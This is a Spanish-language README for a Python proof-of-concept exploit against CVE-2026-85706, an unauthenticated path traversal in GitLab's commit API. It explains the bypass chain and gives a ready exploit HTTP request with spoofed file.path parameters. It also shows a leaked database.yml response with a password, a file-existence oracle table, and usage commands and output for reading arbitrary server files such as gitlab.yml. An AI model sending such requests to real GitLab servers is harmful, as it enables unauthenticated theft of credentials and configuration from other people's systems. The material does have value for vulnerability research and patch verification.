
PoC en Python para CVE-2026-85706, un path traversal no autenticado en la API Repository Commits de GitLab CE/EE que filtra archivos locales arbitrarios mediante un oráculo de cuatro estados.
La API de «crear commit» de GitLab (POST /api/v4/projects/:id/repository/commits) permite incluir el contenido de numerosos archivos en una sola petición. Para evitar que cuerpos de petición enormes entren directamente en el parser de Rails, Workhorse primero vuelca el cuerpo de la petición a un archivo temporal y luego inyecta metadatos como file.path / file.size en la petición reenviada; el endpoint de Rails vuelve a leer el archivo según esos parámetros. La cadena de vulnerabilidad se compone de la superposición de cuatro eslabones:
post ':id/repository/commits' solo tiene require_gitlab_workhorse! (que únicamente verifica que «viene reenviada por Workhorse»); el authenticate! real está escondido más adelante en authorize_push_to_branch!, y la lectura por path traversal ocurre antes de este.file_params_from_body_upload toma directamente los parámetros de la petición file.path / file.size / Content-Type como si fueran los metadatos inyectados por Workhorse, sin distinguir el origen de los parámetros, de modo que File.read(file_path) permite recorrer cualquier ruta local.Content-Type=application/x-www-form-urlencoded, el contenido del archivo se entrega a Rack::Utils.parse_nested_query para su parseo; una secuencia % inválida en el contenido provoca ArgumentError: invalid %-encoding (<contenido del componente>), que mediante bad_request! se refleja tal cual en la respuesta 400. La reflexión es por orden de llegada: & / = son límites de componente, el parseo se interrumpe en el componente donde se encuentra el primer % inválido y refleja ese componente; si no hay separadores, todo el archivo se refleja como un único componente (las secuencias de escape hexadecimales %xx válidas no provocan error)..../repository/commits\z), y los parámetros falsificados quedan absorbidos dentro del contenido del archivo volcado a disco. Añadir / al final de la URL hace que no coincida con esa regla y caiga en el proxy inverso firmado de respaldo: el cuerpo de la petición original, junto con los parámetros falsificados, se reenvía tal cual a Rails y con un JWT válido, por lo que require_gitlab_workhorse! pasa; tras la normalización de la barra final por parte de Grape, sigue alcanzando el handler vulnerable.Requisito previo: el :id de la URL debe ser un proyecto realmente existente (basta con cualquier proyecto público); en todo el proceso no se necesita iniciar sesión.
Petición de explotación (el database.yml en un despliegue con BD externa; si la contraseña contiene una secuencia % inválida, se refleja el fragmento completo):
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=&file.path=/var/opt/gitlab/gitlab-rails/etc/database.yml&file.size=1&Content-Type=application/x-www-form-urlencoded
Respuesta (se refleja el componente completo donde se encuentra el primer % inválido):
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (production:\n adapter: postgresql\n username: gitlab\n password: \"P@ss%w0rd\" ...)"}
La lectura se ejecuta con la identidad del usuario git del proceso Puma, y la respuesta constituye un oráculo de cuatro estados:
Alcance real de lectura en un despliegue por defecto (comprobado):
% de forma natural: logs y artefactos de compilación de CI, adjuntos subidos por usuarios, database.yml de despliegues con BD externa. En el database.yml con autenticación peer por socket local por defecto el campo de contraseña está vacío; solo tiene valor en despliegues con BD externa.gitlab.yml: los comentarios de la plantilla renderizada ya contienen secuencias como 95%, %{key} en la cabecera del archivo (aproximadamente en la línea 19), mientras que la configuración de credenciales (incoming_email, LDAP, almacenamiento de objetos, etc.) está después de la línea 170; el orden de llegada implica que en un despliegue por defecto solo se puede reflejar el segmento de cabecera, el segmento de credenciales no se puede leer; solo es legible en variantes de despliegue sin secuencias interferentes (plantillas personalizadas, etc.). Nótese además que la contraseña SMTP (gitlab_rails['smtp_password']) no se renderiza en gitlab.yml; lo que realmente se renderiza son las credenciales de incoming_email, LDAP y object_store.secrets.yml es hex puro sin %, no se puede leer su contenido (401); , las claves privadas TLS y los archivos de copia de seguridad son root-only (solo oráculo 500).Implementado con la biblioteca estándar de Python 3, sin dependencias de terceros. El script interpreta automáticamente los cuatro estados según la tabla anterior.
python3 exploit.py -t http://<target>:<port> # por defecto lee gitlab.yml (verificación rápida de reflexión)
python3 exploit.py -t http://<target>:<port> -f /etc/passwd
Salida de ejemplo (lectura de gitlab.yml en despliegue por defecto: se refleja el segmento de cabecera, no el de credenciales):
============================================================
CVE-2026-85706 | GitLab unauth path traversal | @mhtsec
============================================================
[*] CVE-2026-85706 targeting http://<target> -> /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] HTTP 400 | leaked
[+] Leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
# This file is generated by GitLab. Manual changes will be
# overwritten! ...
------------------------------------------------------------
Solo para pruebas de seguridad autorizadas e investigación de vulnerabilidades.
| Respuesta | Significado | Ejemplo |
|---|
400 local file not present | El archivo no existe | /etc/nonexistent |
500 Internal Server Error | Existe pero el usuario git no tiene permiso de lectura (Errno::EACCES no gestionado); los errores de parseo de la rama multipart sobre archivos legibles también acaban en 500 | /etc/shadow, /etc/gitlab/gitlab-secrets.json |
401 Unauthorized | Existe y es legible, pero el contenido no tiene secuencias % inválidas, no se refleja | /etc/passwd, /proc/self/environ |
400 invalid %-encoding (<contenido>) | Existe, es legible y contiene una secuencia % inválida: se refleja el componente completo donde se encuentra | logs que contienen %, artefactos de compilación de CI, database.yml de BD externa |
gitlab.rb/proc/self/*, y detectar la existencia de proyectos privados convirtiendo el ID de proyecto a la ruta @hashed.| Parámetro | Descripción |
|---|
-t | Dirección de GitLab objetivo (obligatorio), p. ej. http://<target>:<port> |
-f | Ruta absoluta a leer (por defecto /var/opt/gitlab/gitlab-rails/etc/gitlab.yml) |
-p | ID de proyecto, basta con cualquier proyecto realmente existente (por defecto 1) |
-o | Guardar el contenido leído en un archivo local |